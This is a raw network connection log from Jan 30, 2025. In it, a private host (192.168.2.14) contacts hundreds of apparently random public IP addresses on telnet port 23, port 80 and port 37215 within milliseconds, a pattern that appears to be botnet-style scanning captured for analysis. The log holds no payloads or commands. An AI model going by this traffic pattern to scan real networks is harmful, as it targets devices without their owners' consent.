Jan 30, 2025 10:43:01.071580887 CET	23	63367	167.2.146.131	192.168.2.14
Jan 30, 2025 10:43:01.071583033 CET	63367	23	192.168.2.14	96.57.191.189
Jan 30, 2025 10:43:01.071609020 CET	63367	23	192.168.2.14	206.64.86.124
Jan 30, 2025 10:43:01.071610928 CET	63367	23	192.168.2.14	42.118.225.217
Jan 30, 2025 10:43:01.071621895 CET	63367	23	192.168.2.14	167.2.146.131
Jan 30, 2025 10:43:01.071866035 CET	52088	23	192.168.2.14	63.17.153.24
Jan 30, 2025 10:43:01.073404074 CET	37548	23	192.168.2.14	13.23.33.188
Jan 30, 2025 10:43:01.074275970 CET	62855	80	192.168.2.14	128.123.76.112
Jan 30, 2025 10:43:01.074289083 CET	62855	80	192.168.2.14	195.205.205.159
Jan 30, 2025 10:43:01.074306965 CET	62855	80	192.168.2.14	190.232.125.225
Jan 30, 2025 10:43:01.074315071 CET	62855	80	192.168.2.14	177.60.140.136
Jan 30, 2025 10:43:01.074325085 CET	62855	80	192.168.2.14	218.47.28.234
Jan 30, 2025 10:43:01.074338913 CET	62855	80	192.168.2.14	192.227.54.102
Jan 30, 2025 10:43:01.074341059 CET	62855	80	192.168.2.14	2.72.20.28
Jan 30, 2025 10:43:01.074388981 CET	62855	80	192.168.2.14	191.131.13.169
Jan 30, 2025 10:43:01.074390888 CET	62855	80	192.168.2.14	145.207.139.149
Jan 30, 2025 10:43:01.074390888 CET	62855	80	192.168.2.14	117.193.254.71
Jan 30, 2025 10:43:01.074409008 CET	62855	80	192.168.2.14	182.130.172.172
Jan 30, 2025 10:43:01.074409962 CET	62855	80	192.168.2.14	49.201.79.57
Jan 30, 2025 10:43:01.074424982 CET	62855	80	192.168.2.14	194.32.13.99
Jan 30, 2025 10:43:01.074425936 CET	62855	80	192.168.2.14	87.74.206.193
Jan 30, 2025 10:43:01.074424982 CET	62855	80	192.168.2.14	111.150.124.140
Jan 30, 2025 10:43:01.074424982 CET	62855	80	192.168.2.14	181.228.148.81
Jan 30, 2025 10:43:01.074428082 CET	62855	80	192.168.2.14	39.190.28.200
Jan 30, 2025 10:43:01.074429989 CET	62855	80	192.168.2.14	201.28.73.147
Jan 30, 2025 10:43:01.074429989 CET	62855	80	192.168.2.14	86.240.142.147
Jan 30, 2025 10:43:01.074430943 CET	62855	80	192.168.2.14	41.83.94.76
Jan 30, 2025 10:43:01.074430943 CET	62855	80	192.168.2.14	174.182.54.243
Jan 30, 2025 10:43:01.074439049 CET	62855	80	192.168.2.14	170.160.125.153
Jan 30, 2025 10:43:01.074444056 CET	62855	80	192.168.2.14	85.77.181.146
Jan 30, 2025 10:43:01.074446917 CET	62855	80	192.168.2.14	161.206.166.22
Jan 30, 2025 10:43:01.074462891 CET	62855	80	192.168.2.14	182.203.137.4
Jan 30, 2025 10:43:01.074481964 CET	62855	80	192.168.2.14	117.52.132.236
Jan 30, 2025 10:43:01.074481964 CET	62855	80	192.168.2.14	195.113.228.144
Jan 30, 2025 10:43:01.074491978 CET	62855	80	192.168.2.14	36.56.72.41
Jan 30, 2025 10:43:01.074492931 CET	62855	80	192.168.2.14	119.56.39.116
Jan 30, 2025 10:43:01.074492931 CET	62855	80	192.168.2.14	68.242.29.47
Jan 30, 2025 10:43:01.074505091 CET	62855	80	192.168.2.14	140.251.7.177
Jan 30, 2025 10:43:01.074505091 CET	62855	80	192.168.2.14	220.119.34.202
Jan 30, 2025 10:43:01.074527979 CET	62855	80	192.168.2.14	79.8.74.112
Jan 30, 2025 10:43:01.074527979 CET	62855	80	192.168.2.14	51.112.228.20
Jan 30, 2025 10:43:01.074533939 CET	62855	80	192.168.2.14	140.36.107.48
Jan 30, 2025 10:43:01.074534893 CET	62855	80	192.168.2.14	87.4.72.193
Jan 30, 2025 10:43:01.074552059 CET	62855	80	192.168.2.14	201.57.152.12
Jan 30, 2025 10:43:01.074553967 CET	62855	80	192.168.2.14	174.1.71.107
Jan 30, 2025 10:43:01.074553967 CET	62855	80	192.168.2.14	92.180.42.63
Jan 30, 2025 10:43:01.074553967 CET	62855	80	192.168.2.14	58.248.66.150
Jan 30, 2025 10:43:01.074559927 CET	62855	80	192.168.2.14	189.209.42.91
Jan 30, 2025 10:43:01.074561119 CET	62855	80	192.168.2.14	208.134.75.212
Jan 30, 2025 10:43:01.074574947 CET	62855	80	192.168.2.14	191.98.82.236
Jan 30, 2025 10:43:01.074574947 CET	62855	80	192.168.2.14	208.41.39.54
Jan 30, 2025 10:43:01.074574947 CET	62855	80	192.168.2.14	150.170.65.108
Jan 30, 2025 10:43:01.074584961 CET	62855	80	192.168.2.14	133.59.68.207
Jan 30, 2025 10:43:01.074584961 CET	62855	80	192.168.2.14	20.127.92.143
Jan 30, 2025 10:43:01.074589014 CET	62855	80	192.168.2.14	8.52.217.135
Jan 30, 2025 10:43:01.074594975 CET	62855	80	192.168.2.14	59.230.226.248
Jan 30, 2025 10:43:01.074594975 CET	62855	80	192.168.2.14	166.157.254.70
Jan 30, 2025 10:43:01.074604034 CET	62855	80	192.168.2.14	149.223.42.127
Jan 30, 2025 10:43:01.074610949 CET	62855	80	192.168.2.14	184.230.57.80
Jan 30, 2025 10:43:01.074618101 CET	62855	80	192.168.2.14	136.140.61.134
Jan 30, 2025 10:43:01.074629068 CET	62855	80	192.168.2.14	78.44.13.120
Jan 30, 2025 10:43:01.074645042 CET	62855	80	192.168.2.14	131.169.60.218
Jan 30, 2025 10:43:01.074659109 CET	62855	80	192.168.2.14	58.129.83.204
Jan 30, 2025 10:43:01.074660063 CET	62855	80	192.168.2.14	74.77.158.44
Jan 30, 2025 10:43:01.074665070 CET	62855	80	192.168.2.14	156.247.206.130
Jan 30, 2025 10:43:01.074682951 CET	62855	80	192.168.2.14	68.47.77.74
Jan 30, 2025 10:43:01.074683905 CET	62855	80	192.168.2.14	82.158.143.74
Jan 30, 2025 10:43:01.074686050 CET	62855	80	192.168.2.14	165.23.58.195
Jan 30, 2025 10:43:01.074690104 CET	62855	80	192.168.2.14	221.156.60.17
Jan 30, 2025 10:43:01.074701071 CET	62855	80	192.168.2.14	70.207.189.99
Jan 30, 2025 10:43:01.074707031 CET	62855	80	192.168.2.14	95.50.41.80
Jan 30, 2025 10:43:01.074714899 CET	62855	80	192.168.2.14	159.54.42.4
Jan 30, 2025 10:43:01.074722052 CET	62855	80	192.168.2.14	164.247.164.216
Jan 30, 2025 10:43:01.074728012 CET	62855	80	192.168.2.14	192.215.42.239
Jan 30, 2025 10:43:01.074747086 CET	62855	80	192.168.2.14	17.95.171.35
Jan 30, 2025 10:43:01.074752092 CET	62855	80	192.168.2.14	64.161.98.122
Jan 30, 2025 10:43:01.074760914 CET	62855	80	192.168.2.14	51.84.160.98
Jan 30, 2025 10:43:01.074763060 CET	62855	80	192.168.2.14	150.147.5.86
Jan 30, 2025 10:43:01.074765921 CET	62855	80	192.168.2.14	148.55.9.170
Jan 30, 2025 10:43:01.074765921 CET	62855	80	192.168.2.14	120.246.201.33
Jan 30, 2025 10:43:01.074765921 CET	62855	80	192.168.2.14	97.228.122.57
Jan 30, 2025 10:43:01.074769974 CET	62855	80	192.168.2.14	8.206.8.206
Jan 30, 2025 10:43:01.074796915 CET	48666	23	192.168.2.14	93.103.22.131
Jan 30, 2025 10:43:01.074812889 CET	62855	80	192.168.2.14	155.172.116.204
Jan 30, 2025 10:43:01.074819088 CET	62855	80	192.168.2.14	165.207.233.162
Jan 30, 2025 10:43:01.074832916 CET	62855	80	192.168.2.14	194.231.127.21
Jan 30, 2025 10:43:01.074836016 CET	62855	80	192.168.2.14	71.230.71.183
Jan 30, 2025 10:43:01.074845076 CET	62855	80	192.168.2.14	175.131.204.157
Jan 30, 2025 10:43:01.074845076 CET	62855	80	192.168.2.14	51.141.230.173
Jan 30, 2025 10:43:01.074850082 CET	62855	80	192.168.2.14	110.55.74.61
Jan 30, 2025 10:43:01.074850082 CET	62855	80	192.168.2.14	109.88.208.6
Jan 30, 2025 10:43:01.074852943 CET	62855	80	192.168.2.14	27.144.145.103
Jan 30, 2025 10:43:01.074857950 CET	62855	80	192.168.2.14	205.42.65.160
Jan 30, 2025 10:43:01.074868917 CET	62855	80	192.168.2.14	40.90.83.137
Jan 30, 2025 10:43:01.074876070 CET	62855	80	192.168.2.14	201.241.192.246
Jan 30, 2025 10:43:01.074877977 CET	62855	80	192.168.2.14	78.62.2.101
Jan 30, 2025 10:43:01.074879885 CET	62855	80	192.168.2.14	9.175.139.154
Jan 30, 2025 10:43:01.074898005 CET	62855	80	192.168.2.14	179.220.42.127
Jan 30, 2025 10:43:01.074898005 CET	62855	80	192.168.2.14	208.4.219.147
Jan 30, 2025 10:43:01.074899912 CET	62855	80	192.168.2.14	171.99.245.194
Jan 30, 2025 10:43:01.074903965 CET	62855	80	192.168.2.14	145.79.130.162
Jan 30, 2025 10:43:01.074920893 CET	62855	80	192.168.2.14	197.149.227.43
Jan 30, 2025 10:43:01.074934959 CET	62855	80	192.168.2.14	142.122.157.62
Jan 30, 2025 10:43:01.074937105 CET	62855	80	192.168.2.14	149.32.216.85
Jan 30, 2025 10:43:01.074944973 CET	62855	80	192.168.2.14	39.241.211.88
Jan 30, 2025 10:43:01.074953079 CET	62855	80	192.168.2.14	182.127.125.7
Jan 30, 2025 10:43:01.074955940 CET	62855	80	192.168.2.14	113.203.10.70
Jan 30, 2025 10:43:01.074955940 CET	62855	80	192.168.2.14	200.107.99.244
Jan 30, 2025 10:43:01.074955940 CET	62855	80	192.168.2.14	192.220.84.144
Jan 30, 2025 10:43:01.074958086 CET	62855	80	192.168.2.14	44.169.183.31
Jan 30, 2025 10:43:01.074964046 CET	62855	80	192.168.2.14	200.168.72.8
Jan 30, 2025 10:43:01.074973106 CET	62855	80	192.168.2.14	211.20.134.228
Jan 30, 2025 10:43:01.074981928 CET	62855	80	192.168.2.14	105.62.118.203
Jan 30, 2025 10:43:01.075001955 CET	62855	80	192.168.2.14	2.73.54.218
Jan 30, 2025 10:43:01.075001955 CET	62855	80	192.168.2.14	181.139.166.204
Jan 30, 2025 10:43:01.075005054 CET	62855	80	192.168.2.14	103.159.195.194
Jan 30, 2025 10:43:01.075005054 CET	62855	80	192.168.2.14	172.201.114.27
Jan 30, 2025 10:43:01.075007915 CET	62855	80	192.168.2.14	68.241.0.10
Jan 30, 2025 10:43:01.075015068 CET	62855	80	192.168.2.14	199.129.138.198
Jan 30, 2025 10:43:01.075016022 CET	62855	80	192.168.2.14	35.129.223.44
Jan 30, 2025 10:43:01.075028896 CET	62855	80	192.168.2.14	47.246.71.96
Jan 30, 2025 10:43:01.075031042 CET	62855	80	192.168.2.14	78.229.196.167
Jan 30, 2025 10:43:01.075031042 CET	62855	80	192.168.2.14	185.32.232.191
Jan 30, 2025 10:43:01.075031996 CET	62855	80	192.168.2.14	142.78.176.254
Jan 30, 2025 10:43:01.075051069 CET	62855	80	192.168.2.14	113.242.75.76
Jan 30, 2025 10:43:01.075052977 CET	62855	80	192.168.2.14	130.139.53.227
Jan 30, 2025 10:43:01.075052977 CET	62855	80	192.168.2.14	121.115.99.133
Jan 30, 2025 10:43:01.075057983 CET	62855	80	192.168.2.14	57.102.94.247
Jan 30, 2025 10:43:01.075061083 CET	62855	80	192.168.2.14	89.68.6.203
Jan 30, 2025 10:43:01.075074911 CET	62855	80	192.168.2.14	91.2.14.2
Jan 30, 2025 10:43:01.075081110 CET	62855	80	192.168.2.14	96.89.45.16
Jan 30, 2025 10:43:01.075084925 CET	62855	80	192.168.2.14	150.54.119.62
Jan 30, 2025 10:43:01.075086117 CET	62855	80	192.168.2.14	213.189.180.81
Jan 30, 2025 10:43:01.075103998 CET	62855	80	192.168.2.14	80.93.203.72
Jan 30, 2025 10:43:01.075119972 CET	62855	80	192.168.2.14	87.54.46.63
Jan 30, 2025 10:43:01.075124025 CET	62855	80	192.168.2.14	184.112.196.185
Jan 30, 2025 10:43:01.075128078 CET	62855	80	192.168.2.14	107.3.181.28
Jan 30, 2025 10:43:01.075135946 CET	62855	80	192.168.2.14	12.12.68.145
Jan 30, 2025 10:43:01.075146914 CET	62855	80	192.168.2.14	177.201.145.10
Jan 30, 2025 10:43:01.075146914 CET	62855	80	192.168.2.14	115.167.140.79
Jan 30, 2025 10:43:01.075160027 CET	62855	80	192.168.2.14	63.114.186.105
Jan 30, 2025 10:43:01.075160027 CET	62855	80	192.168.2.14	133.83.204.114
Jan 30, 2025 10:43:01.075169086 CET	62855	80	192.168.2.14	41.239.215.228
Jan 30, 2025 10:43:01.075177908 CET	62855	80	192.168.2.14	86.68.50.195
Jan 30, 2025 10:43:01.075182915 CET	62855	80	192.168.2.14	84.77.173.127
Jan 30, 2025 10:43:01.075193882 CET	62855	80	192.168.2.14	54.47.176.202
Jan 30, 2025 10:43:01.075193882 CET	62855	80	192.168.2.14	40.117.164.148
Jan 30, 2025 10:43:01.075206995 CET	62855	80	192.168.2.14	91.163.216.210
Jan 30, 2025 10:43:01.075211048 CET	62855	80	192.168.2.14	89.104.223.46
Jan 30, 2025 10:43:01.075211048 CET	62855	80	192.168.2.14	43.234.93.170
Jan 30, 2025 10:43:01.075217962 CET	62855	80	192.168.2.14	138.23.30.208
Jan 30, 2025 10:43:01.075241089 CET	62855	80	192.168.2.14	37.36.192.33
Jan 30, 2025 10:43:01.075249910 CET	62855	80	192.168.2.14	23.69.245.109
Jan 30, 2025 10:43:01.075249910 CET	62855	80	192.168.2.14	110.172.80.66
Jan 30, 2025 10:43:01.075241089 CET	62855	80	192.168.2.14	19.218.23.2
Jan 30, 2025 10:43:01.075258017 CET	62855	80	192.168.2.14	99.192.42.129
Jan 30, 2025 10:43:01.075265884 CET	62855	80	192.168.2.14	57.59.79.69
Jan 30, 2025 10:43:01.075265884 CET	62855	80	192.168.2.14	208.184.141.53
Jan 30, 2025 10:43:01.075265884 CET	62855	80	192.168.2.14	42.65.229.225
Jan 30, 2025 10:43:01.075278997 CET	62855	80	192.168.2.14	204.214.90.2
Jan 30, 2025 10:43:01.075288057 CET	62855	80	192.168.2.14	120.74.168.247
Jan 30, 2025 10:43:01.075289011 CET	62855	80	192.168.2.14	82.2.74.151
Jan 30, 2025 10:43:01.075294018 CET	62855	80	192.168.2.14	63.153.102.232
Jan 30, 2025 10:43:01.075294018 CET	62855	80	192.168.2.14	49.238.4.89
Jan 30, 2025 10:43:01.075294971 CET	62855	80	192.168.2.14	196.115.124.13
Jan 30, 2025 10:43:01.075325966 CET	62855	80	192.168.2.14	158.221.4.52
Jan 30, 2025 10:43:01.075325966 CET	62855	80	192.168.2.14	107.243.192.18
Jan 30, 2025 10:43:01.075344086 CET	62855	80	192.168.2.14	13.68.194.55
Jan 30, 2025 10:43:01.075352907 CET	62855	80	192.168.2.14	216.191.196.93
Jan 30, 2025 10:43:01.075356007 CET	62855	80	192.168.2.14	158.97.240.1
Jan 30, 2025 10:43:01.075364113 CET	62855	80	192.168.2.14	156.177.142.9
Jan 30, 2025 10:43:01.075366974 CET	62855	80	192.168.2.14	70.229.208.99
Jan 30, 2025 10:43:01.075380087 CET	62855	80	192.168.2.14	194.85.239.149
Jan 30, 2025 10:43:01.075381994 CET	62855	80	192.168.2.14	165.177.62.227
Jan 30, 2025 10:43:01.075383902 CET	62855	80	192.168.2.14	148.42.219.15
Jan 30, 2025 10:43:01.075387001 CET	62855	80	192.168.2.14	223.20.5.101
Jan 30, 2025 10:43:01.075395107 CET	62855	80	192.168.2.14	73.47.102.203
Jan 30, 2025 10:43:01.075406075 CET	62855	80	192.168.2.14	206.40.154.203
Jan 30, 2025 10:43:01.075409889 CET	62855	80	192.168.2.14	175.107.215.213
Jan 30, 2025 10:43:01.075414896 CET	62855	80	192.168.2.14	187.10.16.28
Jan 30, 2025 10:43:01.075417995 CET	62855	80	192.168.2.14	218.110.180.244
Jan 30, 2025 10:43:01.075429916 CET	62855	80	192.168.2.14	198.224.24.224
Jan 30, 2025 10:43:01.075459003 CET	62855	80	192.168.2.14	44.246.210.206
Jan 30, 2025 10:43:01.075459003 CET	62855	80	192.168.2.14	101.204.63.132
Jan 30, 2025 10:43:01.075470924 CET	62855	80	192.168.2.14	187.32.95.212
Jan 30, 2025 10:43:01.075470924 CET	62855	80	192.168.2.14	195.178.92.61
Jan 30, 2025 10:43:01.075490952 CET	62855	80	192.168.2.14	67.251.48.36
Jan 30, 2025 10:43:01.075498104 CET	62855	80	192.168.2.14	152.173.181.100
Jan 30, 2025 10:43:01.075498104 CET	62855	80	192.168.2.14	209.56.75.228
Jan 30, 2025 10:43:01.075499058 CET	62855	80	192.168.2.14	130.125.0.207
Jan 30, 2025 10:43:01.075499058 CET	62855	80	192.168.2.14	108.157.131.15
Jan 30, 2025 10:43:01.075508118 CET	62855	80	192.168.2.14	82.120.150.161
Jan 30, 2025 10:43:01.075508118 CET	62855	80	192.168.2.14	80.229.50.152
Jan 30, 2025 10:43:01.075514078 CET	62855	80	192.168.2.14	109.128.61.255
Jan 30, 2025 10:43:01.075514078 CET	62855	80	192.168.2.14	197.6.183.216
Jan 30, 2025 10:43:01.075520992 CET	62855	80	192.168.2.14	42.132.17.28
Jan 30, 2025 10:43:01.075530052 CET	62855	80	192.168.2.14	185.222.171.19
Jan 30, 2025 10:43:01.075534105 CET	62855	80	192.168.2.14	114.7.67.127
Jan 30, 2025 10:43:01.075534105 CET	62855	80	192.168.2.14	120.141.74.67
Jan 30, 2025 10:43:01.075536966 CET	62855	80	192.168.2.14	67.163.31.196
Jan 30, 2025 10:43:01.075541973 CET	62855	80	192.168.2.14	24.106.208.120
Jan 30, 2025 10:43:01.075546980 CET	62855	80	192.168.2.14	62.226.133.239
Jan 30, 2025 10:43:01.075566053 CET	62855	80	192.168.2.14	98.28.1.202
Jan 30, 2025 10:43:01.075587034 CET	62855	80	192.168.2.14	210.22.246.8
Jan 30, 2025 10:43:01.075588942 CET	62855	80	192.168.2.14	163.132.97.40
Jan 30, 2025 10:43:01.075613976 CET	62855	80	192.168.2.14	67.19.148.247
Jan 30, 2025 10:43:01.075618029 CET	62855	80	192.168.2.14	62.155.186.213
Jan 30, 2025 10:43:01.075622082 CET	62855	80	192.168.2.14	180.81.20.183
Jan 30, 2025 10:43:01.075622082 CET	62855	80	192.168.2.14	211.157.245.8
Jan 30, 2025 10:43:01.075623989 CET	62855	80	192.168.2.14	45.252.59.133
Jan 30, 2025 10:43:01.075623989 CET	62855	80	192.168.2.14	159.49.240.25
Jan 30, 2025 10:43:01.075639009 CET	62855	80	192.168.2.14	173.46.193.207
Jan 30, 2025 10:43:01.075639009 CET	62855	80	192.168.2.14	80.85.81.46
Jan 30, 2025 10:43:01.075645924 CET	62855	80	192.168.2.14	60.169.212.118
Jan 30, 2025 10:43:01.075647116 CET	62855	80	192.168.2.14	115.191.47.114
Jan 30, 2025 10:43:01.075654984 CET	62855	80	192.168.2.14	65.145.46.36
Jan 30, 2025 10:43:01.075654984 CET	62855	80	192.168.2.14	132.11.212.137
Jan 30, 2025 10:43:01.075655937 CET	62855	80	192.168.2.14	66.109.168.76
Jan 30, 2025 10:43:01.075664043 CET	62855	80	192.168.2.14	141.219.20.204
Jan 30, 2025 10:43:01.075669050 CET	62855	80	192.168.2.14	108.0.97.250
Jan 30, 2025 10:43:01.075686932 CET	62855	80	192.168.2.14	153.193.91.101
Jan 30, 2025 10:43:01.075686932 CET	62855	80	192.168.2.14	175.81.59.51
Jan 30, 2025 10:43:01.075690031 CET	62855	80	192.168.2.14	159.47.233.19
Jan 30, 2025 10:43:01.075697899 CET	62855	80	192.168.2.14	17.9.26.148
Jan 30, 2025 10:43:01.075700045 CET	62855	80	192.168.2.14	186.177.120.238
Jan 30, 2025 10:43:01.075702906 CET	62855	80	192.168.2.14	193.139.193.226
Jan 30, 2025 10:43:01.075720072 CET	62855	80	192.168.2.14	201.71.136.194
Jan 30, 2025 10:43:01.075721979 CET	62855	80	192.168.2.14	115.198.53.215
Jan 30, 2025 10:43:01.075721979 CET	62855	80	192.168.2.14	108.93.123.8
Jan 30, 2025 10:43:01.075731039 CET	62855	80	192.168.2.14	187.191.183.110
Jan 30, 2025 10:43:01.075736046 CET	62855	80	192.168.2.14	68.3.242.91
Jan 30, 2025 10:43:01.075750113 CET	62855	80	192.168.2.14	124.90.216.216
Jan 30, 2025 10:43:01.075771093 CET	62855	80	192.168.2.14	23.126.190.31
Jan 30, 2025 10:43:01.075772047 CET	62855	80	192.168.2.14	49.14.88.5
Jan 30, 2025 10:43:01.075772047 CET	62855	80	192.168.2.14	143.212.33.208
Jan 30, 2025 10:43:01.075795889 CET	62855	80	192.168.2.14	60.207.22.191
Jan 30, 2025 10:43:01.075795889 CET	62855	80	192.168.2.14	117.9.165.31
Jan 30, 2025 10:43:01.075797081 CET	62855	80	192.168.2.14	53.148.54.71
Jan 30, 2025 10:43:01.075809002 CET	62855	80	192.168.2.14	200.14.209.24
Jan 30, 2025 10:43:01.075809956 CET	62855	80	192.168.2.14	92.252.215.206
Jan 30, 2025 10:43:01.075817108 CET	62855	80	192.168.2.14	204.13.27.13
Jan 30, 2025 10:43:01.075817108 CET	62855	80	192.168.2.14	17.1.195.189
Jan 30, 2025 10:43:01.075817108 CET	62855	80	192.168.2.14	124.244.155.245
Jan 30, 2025 10:43:01.075822115 CET	62855	80	192.168.2.14	43.12.142.162
Jan 30, 2025 10:43:01.075839043 CET	62855	80	192.168.2.14	31.163.33.107
Jan 30, 2025 10:43:01.075839043 CET	62855	80	192.168.2.14	96.82.135.105
Jan 30, 2025 10:43:01.075839043 CET	62855	80	192.168.2.14	134.13.150.84
Jan 30, 2025 10:43:01.075856924 CET	62855	80	192.168.2.14	32.39.49.162
Jan 30, 2025 10:43:01.075856924 CET	62855	80	192.168.2.14	12.240.87.52
Jan 30, 2025 10:43:01.075861931 CET	62855	80	192.168.2.14	91.168.165.197
Jan 30, 2025 10:43:01.075875998 CET	62855	80	192.168.2.14	124.10.192.165
Jan 30, 2025 10:43:01.075875998 CET	62855	80	192.168.2.14	212.61.182.151
Jan 30, 2025 10:43:01.075877905 CET	62855	80	192.168.2.14	76.108.42.103
Jan 30, 2025 10:43:01.075877905 CET	62855	80	192.168.2.14	161.63.128.167
Jan 30, 2025 10:43:01.075879097 CET	62855	80	192.168.2.14	8.13.5.63
Jan 30, 2025 10:43:01.075879097 CET	62855	80	192.168.2.14	166.162.123.113
Jan 30, 2025 10:43:01.075896978 CET	62855	80	192.168.2.14	34.55.163.55
Jan 30, 2025 10:43:01.075896978 CET	62855	80	192.168.2.14	91.127.111.143
Jan 30, 2025 10:43:01.075936079 CET	62855	80	192.168.2.14	177.239.220.141
Jan 30, 2025 10:43:01.075936079 CET	62855	80	192.168.2.14	72.242.96.238
Jan 30, 2025 10:43:01.075948954 CET	62855	80	192.168.2.14	122.66.96.37
Jan 30, 2025 10:43:01.075956106 CET	56398	23	192.168.2.14	191.61.220.78
Jan 30, 2025 10:43:01.075956106 CET	62855	80	192.168.2.14	183.199.108.70
Jan 30, 2025 10:43:01.075956106 CET	62855	80	192.168.2.14	114.3.151.89
Jan 30, 2025 10:43:01.075958014 CET	62855	80	192.168.2.14	80.215.111.208
Jan 30, 2025 10:43:01.075973034 CET	62855	80	192.168.2.14	123.132.77.91
Jan 30, 2025 10:43:01.075989008 CET	62855	80	192.168.2.14	48.109.83.41
Jan 30, 2025 10:43:01.075990915 CET	62855	80	192.168.2.14	195.51.60.52
Jan 30, 2025 10:43:01.075990915 CET	62855	80	192.168.2.14	12.175.241.127
Jan 30, 2025 10:43:01.075999022 CET	62855	80	192.168.2.14	2.10.190.172
Jan 30, 2025 10:43:01.075999975 CET	62855	80	192.168.2.14	58.149.161.91
Jan 30, 2025 10:43:01.076008081 CET	62855	80	192.168.2.14	73.90.113.138
Jan 30, 2025 10:43:01.076009035 CET	62855	80	192.168.2.14	63.197.169.186
Jan 30, 2025 10:43:01.076009035 CET	62855	80	192.168.2.14	116.29.61.20
Jan 30, 2025 10:43:01.076013088 CET	62855	80	192.168.2.14	20.210.73.38
Jan 30, 2025 10:43:01.076013088 CET	62855	80	192.168.2.14	135.201.11.25
Jan 30, 2025 10:43:01.076021910 CET	62855	80	192.168.2.14	69.7.93.70
Jan 30, 2025 10:43:01.076035023 CET	62855	80	192.168.2.14	48.148.99.233
Jan 30, 2025 10:43:01.076040983 CET	62855	80	192.168.2.14	128.47.66.12
Jan 30, 2025 10:43:01.076045036 CET	62855	80	192.168.2.14	164.87.29.78
Jan 30, 2025 10:43:01.076056957 CET	62855	80	192.168.2.14	38.228.209.170
Jan 30, 2025 10:43:01.076056957 CET	62855	80	192.168.2.14	135.159.187.228
Jan 30, 2025 10:43:01.076057911 CET	62855	80	192.168.2.14	64.13.167.225
Jan 30, 2025 10:43:01.076083899 CET	62855	80	192.168.2.14	106.140.198.102
Jan 30, 2025 10:43:01.076091051 CET	62855	80	192.168.2.14	200.207.88.199
Jan 30, 2025 10:43:01.076108932 CET	62855	80	192.168.2.14	81.214.5.86
Jan 30, 2025 10:43:01.076108932 CET	62855	80	192.168.2.14	219.71.227.83
Jan 30, 2025 10:43:01.076108932 CET	62855	80	192.168.2.14	167.188.6.106
Jan 30, 2025 10:43:01.076124907 CET	62855	80	192.168.2.14	49.85.60.193
Jan 30, 2025 10:43:01.076132059 CET	62855	80	192.168.2.14	31.118.233.198
Jan 30, 2025 10:43:01.076134920 CET	62855	80	192.168.2.14	202.111.15.33
Jan 30, 2025 10:43:01.076144934 CET	62855	80	192.168.2.14	119.196.245.193
Jan 30, 2025 10:43:01.076153040 CET	62855	80	192.168.2.14	32.228.166.220
Jan 30, 2025 10:43:01.076159000 CET	62855	80	192.168.2.14	65.51.167.45
Jan 30, 2025 10:43:01.076159000 CET	62855	80	192.168.2.14	18.122.59.220
Jan 30, 2025 10:43:01.076160908 CET	62855	80	192.168.2.14	118.217.243.115
Jan 30, 2025 10:43:01.076160908 CET	62855	80	192.168.2.14	42.115.156.125
Jan 30, 2025 10:43:01.076173067 CET	62855	80	192.168.2.14	83.38.78.200
Jan 30, 2025 10:43:01.076173067 CET	62855	80	192.168.2.14	174.95.217.64
Jan 30, 2025 10:43:01.076179981 CET	62855	80	192.168.2.14	186.131.148.52
Jan 30, 2025 10:43:01.076183081 CET	62855	80	192.168.2.14	134.49.89.134
Jan 30, 2025 10:43:01.076183081 CET	62855	80	192.168.2.14	104.47.225.41
Jan 30, 2025 10:43:01.076221943 CET	62855	80	192.168.2.14	206.129.169.78
Jan 30, 2025 10:43:01.076221943 CET	62855	80	192.168.2.14	64.71.56.8
Jan 30, 2025 10:43:01.076221943 CET	62855	80	192.168.2.14	165.48.19.152
Jan 30, 2025 10:43:01.076221943 CET	62855	80	192.168.2.14	117.166.141.123
Jan 30, 2025 10:43:01.076229095 CET	62855	80	192.168.2.14	126.146.235.103
Jan 30, 2025 10:43:01.076231003 CET	62855	80	192.168.2.14	213.236.245.5
Jan 30, 2025 10:43:01.076232910 CET	62855	80	192.168.2.14	128.110.206.218
Jan 30, 2025 10:43:01.076237917 CET	62855	80	192.168.2.14	210.134.241.9
Jan 30, 2025 10:43:01.076244116 CET	62855	80	192.168.2.14	66.77.102.26
Jan 30, 2025 10:43:01.076251030 CET	62855	80	192.168.2.14	59.88.47.9
Jan 30, 2025 10:43:01.076251984 CET	62855	80	192.168.2.14	17.109.178.226
Jan 30, 2025 10:43:01.076255083 CET	62855	80	192.168.2.14	61.15.68.42
Jan 30, 2025 10:43:01.076261044 CET	62855	80	192.168.2.14	217.185.97.113
Jan 30, 2025 10:43:01.076273918 CET	62855	80	192.168.2.14	38.63.220.197
Jan 30, 2025 10:43:01.076278925 CET	62855	80	192.168.2.14	2.159.102.117
Jan 30, 2025 10:43:01.076281071 CET	62855	80	192.168.2.14	159.103.175.186
Jan 30, 2025 10:43:01.076283932 CET	62855	80	192.168.2.14	24.135.174.93
Jan 30, 2025 10:43:01.076287031 CET	62855	80	192.168.2.14	12.99.131.151
Jan 30, 2025 10:43:01.076297998 CET	62855	80	192.168.2.14	104.225.243.109
Jan 30, 2025 10:43:01.076297998 CET	62855	80	192.168.2.14	2.121.50.115
Jan 30, 2025 10:43:01.076304913 CET	62855	80	192.168.2.14	206.56.2.215
Jan 30, 2025 10:43:01.076307058 CET	62855	80	192.168.2.14	14.204.224.21
Jan 30, 2025 10:43:01.076308012 CET	62855	80	192.168.2.14	149.80.226.212
Jan 30, 2025 10:43:01.076318979 CET	62855	80	192.168.2.14	149.17.203.178
Jan 30, 2025 10:43:01.076320887 CET	62855	80	192.168.2.14	222.35.167.217
Jan 30, 2025 10:43:01.076330900 CET	62855	80	192.168.2.14	185.24.250.83
Jan 30, 2025 10:43:01.076330900 CET	62855	80	192.168.2.14	130.140.134.11
Jan 30, 2025 10:43:01.076715946 CET	23	52088	63.17.153.24	192.168.2.14
Jan 30, 2025 10:43:01.076764107 CET	52088	23	192.168.2.14	63.17.153.24
Jan 30, 2025 10:43:01.077379942 CET	35342	23	192.168.2.14	78.250.37.250
Jan 30, 2025 10:43:01.078419924 CET	39846	80	192.168.2.14	47.252.222.92
Jan 30, 2025 10:43:01.078912973 CET	60295	37215	192.168.2.14	156.74.86.122
Jan 30, 2025 10:43:01.078927994 CET	60295	37215	192.168.2.14	197.73.58.201
Jan 30, 2025 10:43:01.078929901 CET	60295	37215	192.168.2.14	156.63.77.218
Jan 30, 2025 10:43:01.078938007 CET	60295	37215	192.168.2.14	197.81.162.87
Jan 30, 2025 10:43:01.078949928 CET	60295	37215	192.168.2.14	197.233.58.43
Jan 30, 2025 10:43:01.078958035 CET	60295	37215	192.168.2.14	156.29.52.129
Jan 30, 2025 10:43:01.079013109 CET	60295	37215	192.168.2.14	156.147.234.244
